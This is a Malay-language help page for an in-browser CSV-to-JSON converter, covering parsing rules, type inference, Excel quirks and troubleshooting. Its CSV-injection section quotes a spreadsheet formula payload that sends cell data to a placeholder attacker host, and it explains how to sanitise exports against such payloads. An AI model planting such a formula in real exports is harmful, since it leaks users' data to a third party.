Pengenal CSV kepada JSON

Tampal CSV yang sah — eksport Excel, muat turun Google Sheets, timbunan pangkalan data, atau respons API — dan penyunting akan mengeluarkan tatasusunan JSON bersih dalam masa nyata. Baris pertama dianggap sebagai pengepala secara lalai, menjadi kekunci objek JSON; baris seterusnya menjadi objek dalam tatasusunan JSON.

Inferens jenis menaik taraf:

• rentetan nombor yang jelas kepada nombor (42 kekal sebagai integer, 3.14 kekal sebagai terapung)
• rentetan boolean kepada boolean (tidak kisah huruf besar/kecil true/false)
• sel kosong kepada null

Matikan kelakuan ini jika pengguna hiliran anda ketat tentang jenis data.

Penukaran berjalan sepenuhnya dalam pelayar anda menggunakan penyunting RFC 4180 buatan tangan berserta JSON.stringify asli (mengikut ECMA-404). Output sedia untuk ditampal ke dalam fail `.json`, dihantar ke API REST, atau digunakan sebagai set data JavaScript.

• Langkah 1: Tampal CSV anda ke dalam editor. Penyunting mengesahkan semasa anda menaip — CSV tidak sah (petikan belum ditutup, baris tidak seragam, pembatas salah) menunjukkan ralat tepat dengan baris dan lajur.
• Langkah 2: Konfigurasikan penyunting jika perlu — pilih pembatas (lalai kepada koma; tukar kepada titik bertitik untuk eksport Excel EU atau tab untuk fail TSV), toggle mod baris pengepala, dan pilih inferens jenis.
• Langkah 3: Output JSON muncul secara langsung di sebelah kanan. Klik Salin (papan keratan) atau Muat Turun (fail `.json`).

Untuk aliran kerja berprogram, logik yang sama didedahkan melalui titik akhir `/api/calculate` — POST CSV kepadanya dan terima JSON dalam badan respons. Keselamatan pusingan berlaku untuk data berjadual rata; data bersarang memerlukan strategi perataan tersuai.

CSV (Comma-Separated Values) ialah format berjadual rata — setiap baris ialah satu baris data, medan dipisahkan oleh pembatas. Ia tiada jenis asli (setiap sel adalah teks), tiada sarangan (satu aras mendalam, seperti jadual pangkalan data), dan metadata minimum (baris pengepala pilihan). Ia boleh dibaca secara universal: setiap alat lembaran sebar, setiap import pangkalan data, setiap alat shell memahami CSV.

JSON (JavaScript Object Notation) ialah format hierarki dengan jenis eksplisit (rentetan, nombor, boolean, null), objek dan tatasusunan bersarang, serta kekunci yang menerangkan sendiri bagi setiap rekod. JSON ialah bahasa perantaraan bagi API REST/GraphQL, pangkalan data NoSQL, dan fail konfigurasi.

Bila masa guna yang mana:

• CSV untuk data berjadual pukal, pertukaran lembaran sebar, pengambilan ETL, dan aliran kerja penganalisis.
• JSON untuk API, tetapan konfigurasi, rekod bersarang, dan pemesejan mesin ke mesin.

Tukar antara kedua-duanya di sempadan: ambil CSV → proses sebagai JSON → eksport kembali ke CSV jika pengguna lembaran sebar memerlukannya.

RFC 4180 (2005) ialah standard maklumat IETF untuk CSV.

Peraturan teras:

• Rekod dipisahkan oleh CRLF (Windows) atau LF (Unix).
• Medan dipisahkan oleh pembatas (koma dalam standard; kerap berbeza dalam praktiknya).
• Medan yang mengandungi pembatas, tanda petikan berkembar, atau baris baharu mesti dilitupi dalam tanda petikan berkembar.
• Di dalam medan dipetik, tanda petikan berkembar literal dilepaskan dengan menggandakannya (`""` mewakili satu `"`).
• Baris pengepala pilihan muncul sebagai rekod pertama.

Penyunting yang dilaksanakan di sini bertolak ansur dengan penamat baris LF sahaja, pembatas titik bertitik/tab/paip (tukar dalam tetapan), UTF-8 BOM pada permulaan fail (dibuang secara automatik), dan baris baharu hujung di penghujung fail. Ia menolak medan dipetik yang belum ditutup dan baris tidak seragam dengan mesej ralat yang jelas.

Inferens jenis menaik taraf nilai tidak dipetik yang jelas kepada jenis asli JSON.

• Nombor: corak digit yang sepadan dengan sintaks integer atau terapung JSON menjadi nombor JSON. `42` → integer 42. `3.14` → terapung 3.14. `1e6` → 1000000. `01234` adalah samar-samar — penyunting nombor ketat menolak sifar pendahuluan, jadi ia kekal sebagai rentetan (yang anda perlukan untuk poskod).
• Boolean: `true` dan `false` (tidak kisah huruf besar/kecil) menjadi boolean JSON. Nota: ini adalah konvensyen YAML 1.2 / JSON ketat — `yes`/`no`/`on`/`off` kekal sebagai rentetan (pembaikan 'masalah Norway').
• Null: sel kosong (antara dua pembatas berturutan atau di hujung baris) menjadi null JSON.

Jika anda mematikan inferens jenis, setiap sel kekal sebagai rentetan tanpa mengira kandungan — berguna apabila pengguna hiliran anda (cth., saluran paip TypeScript yang ketat) menjangkakan jenis yang seragam.

Excel ialah pengeluar CSV dominan, dan eksportnya datang dengan pelbagai keunikan.

• Pengekodan: Excel untuk Windows selalunya menyimpan CSV sebagai UTF-8 dengan BOM (penyunting membuangnya secara automatik) atau Windows-1252 (Latin-1) untuk versi lebih lama. Excel untuk Mac biasanya menyimpan UTF-8 bersih. Jika aksara bukan ASCII kelihatan terpesong, simpan semula fail sebagai UTF-8 dalam apl lembaran sebar anda sebelum menampal.
• Pembatas: dalam tetapan rantau EU (Jerman, Perancis, dll.), Excel menggunakan titik bertitik kerana koma ialah pembatas perpuluhan; tukar tetapan pembatas dengan sewajarnya.
• Penamat baris: Excel menggunakan CRLF secara lalai — disokong sepenuhnya.
• Memetik: Excel memetik mana-mana sel yang mengandungi koma atau petikan berkembar; petikan terbenam dilepaskan melalui `""`.
• Pemformatan nombor: Excel mungkin mengeksport `1,234.56` (koma sebagai pembatas ribuan) yang akan dianggap sebagai rentetan oleh penyunting melainkan anda memformat semula.
• Lajur tarikh dieksport sebagai rentetan lalai rantau — biasanya memerlukan pasca-pemprosesan untuk menukar kepada ISO 8601.

JSON ialah format permintaan/respons yang dominan untuk API REST, titik akhir GraphQL, dan kebanyakan perkhidmatan web moden.

Menukar CSV kepada JSON ialah langkah kerap apabila:

• mengimport data secara pukal melalui API yang menerima tatasusunan JSON (cth., pendaftaran pengguna, pembenihan katalog produk, titik akhir kemas kini pukal);
• membenihkan pangkalan data NoSQL (MongoDB, DynamoDB, Cassandra) yang menelan JSON secara natif melalui `mongoimport`, `aws dynamodb batch-write-item`, atau yang serupa;
• memberi saluran paip ETL (Airflow, Prefect, dbt) yang menggerakkan eksport CSV melalui transformasi berasaskan JSON;
• mengisi data dummy bahagian hadapan untuk prototaip komponen React/Vue/Angular.

Selepas penukaran, sahkan output JSON berbanding skema hiliran anda (Skema JSON, badan permintaan OpenAPI, jenis input GraphQL) untuk menangkap ketidakpadanan jenis sebelum pelancaran.

JSON ialah format data asli untuk masa sandaran JavaScript (pelayar, Node.js, Deno, Bun).

Tukar CSV kepada JSON apabila anda perlu:

• membenamkan set data statik dalam komponen React/Vue (`import data from './data.json'`);
• membenihkan stor Redux/Pinia/Zustand dengan keadaan awal;
• memberi perpustakaan carta (Chart.js, D3, Plotly) yang menjangkakan JSON;
• membuat prototaip skrip Node.js yang memproses rekod sebelum menulis ke pangkalan data;
• membina titik akhir olok-olok Express/Fastify yang mengembalikan sampel data.

Output JSON daripada penyunting ini sepenuhnya mematuhi ECMA-404 — `JSON.parse()`, badan POST `fetch()`, dan inferens jenis TypeScript (`type Row = typeof data[0]`) semuanya berfungsi tanpa pengubahsuaian.

Untuk set data yang sangat besar (10k+ baris), pertimbangkan penstriman dengan Papa Parse berbanding penukaran sekali gus.

Suntikan CSV (juga dipanggil suntikan formula) ialah kerentanan aplikasi web di mana fail CSV yang mengandungi prefiks formula (`=`, `+`, `-`, `@`) dibuka dalam Excel atau Google Sheets, dan lembaran sebar tersebut melaksanakan formula secara automatik.

Penyerang boleh menggunakan ini untuk:

• mengeluarkan data (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• menjalankan arahan sewenang-wenangnya (sintaks makro Excel lama),
• atau memperdaya pengguna untuk melawat URL berniat jahat.

Penyunting ini adalah baca sahaja (CSV → JSON), jadi ia tidak memperkenalkan risiko suntikan. Tetapi jika aplikasi anda menjana eksport CSV daripada input pengguna — lakukan sanitasi.

Penyelesaian standard: letakkan prefiks pada mana-mana sel yang bermula dengan `=`, `+`, `-`, `@`, `\t`, `\r`, atau `0x09` dengan tanda petikan tunggal (`'=cmd|...`) sebelum menulis ke CSV. OWASP mempunyai helaian rujukan Suntikan CSV yang lengkap merangkumi semua varian.

Lima ralat menyumbang 90% daripada kegagalan penguraian CSV.

• Medan dipetik belum ditutup — satu medan bermula dengan `"` tetapi tidak pernah mempunyai pasangan penutup `"`. Penyunting terus membaca hingga ke hujung fail, kemudian mengeluarkan ralat. Pembetulan: pastikan setiap petikan pembuka mempunyai penutup yang sepadan.
• Baris tidak seragam — sesetengah baris mempunyai medan yang kurang atau lebih daripada pengepala. Punca: baris baharu tersasar di dalam teks tidak dipetik, pembatas hilang atau berlebihan. Pembetulan: sahkan kiraan lajur adalah konsisten.
• Pembatas salah — fail anda menggunakan titik bertitik tetapi penyunting ditetapkan kepada koma. Tukar tetapan Pembatas.
• Gaya terlepas salah — menggunakan `\"` (gaya JSON) dan bukannya `""` (gaya RFC 4180) di dalam medan dipetik. Pembetulan: eksport semula daripada alat sumber dengan pemetikan RFC 4180 yang betul.
• Ketidakpadanan pengekodan — aksara bukan UTF-8 kelihatan terpesong. Simpan semula fail sumber sebagai UTF-8 (kebanyakan apl lembaran sebar menawarkan pilihan ini dalam Simpan Sebagai).

Mesej ralat dalam penyunting menunjukkan baris dan lajur yang tepat.

Lima pertimbangan pusingan yang patut diketahui oleh setiap pembangun.

• Data rata: CSV berjadual rata tulen → JSON → CSV mengekalkan nilai sel, jenis (modulo promosi jenis jika anda mengurai semula JSON), dan susunan lajur.
• JSON bersarang: tidak boleh dilalui pusingan melalui CSV tanpa perataan. Pilih strategi: nama lajur tatatanda titik (`address.city`, `address.zip`), rentetan JSON di dalam sel, atau aras pertama sahaja.
• Promosi jenis: rentetan nombor dan boolean dipromosikan pada CSV → JSON; jika anda eksport kembali ke CSV, ia dikeluarkan sebagai bentuk asalnya. Poskod (`01234`) memerlukan petikan dalam CSV sumber untuk bertahan.
• Susunan pengepala: penyunting mengekalkan susunan lajur sumber. Susunan kekunci objek JSON dikekalkan oleh enjin JavaScript moden.
• Sel kosong: menjadi null dalam JSON; jika anda eksport kembali, konfigurasikan penulis CSV anda untuk mengeluarkan rentetan kosong atau literal `null` seperti asal.

Uji dengan lekapan bukan remeh sebelum bergantung pada pusingan dalam saluran pengeluaran.

Pemetaan jenis sekilas pandang:

• Baris pengepala CSV → kekunci objek JSON;
• Baris CSV → objek JSON;
• Sel CSV (tidak dipetik, numerik) → nombor JSON;
• Sel CSV (tidak dipetik, true/false) → boolean JSON;
• Sel CSV (kosong) → null JSON;
• Sel CSV (dipetik atau bukan numerik) → rentetan JSON.

Perbandingan alat: penyunting ini (pelayar, segera, tiada pemasangan, ketat RFC 4180) berbanding Papa Parse (perpustakaan JS, penstriman, benang pekerja) berbanding csvkit (CLI Python, fail besar, pengesanan dialek) berbanding `jq -R -c -f csv2json.jq` (shell Unix, berprogram).

Amalan terbaik:

• Sentiasa petik medan samar-samar (ID numerik, poskod, rentetan sifar pendahuluan) dalam CSV sumber.
• Gunakan pengekodan UTF-8 untuk keserasian — simpan semula fail Excel lama sebagai UTF-8.
• Sahkan output JSON berbanding skema hiliran anda (Skema JSON, OpenAPI, jenis TypeScript) — tangkap ralat jenis di sempadan, bukan dalam pengeluaran.
• Kekalkan CSV sebagai sumber kebenaran untuk data berjadual dan jana semula JSON pada masa bina/import jika boleh.
• Untuk fail >50MB, beralih kepada alat penstriman (pekerja Papa Parse, saluran paip csvkit) berbanding penukaran dalam pelayar.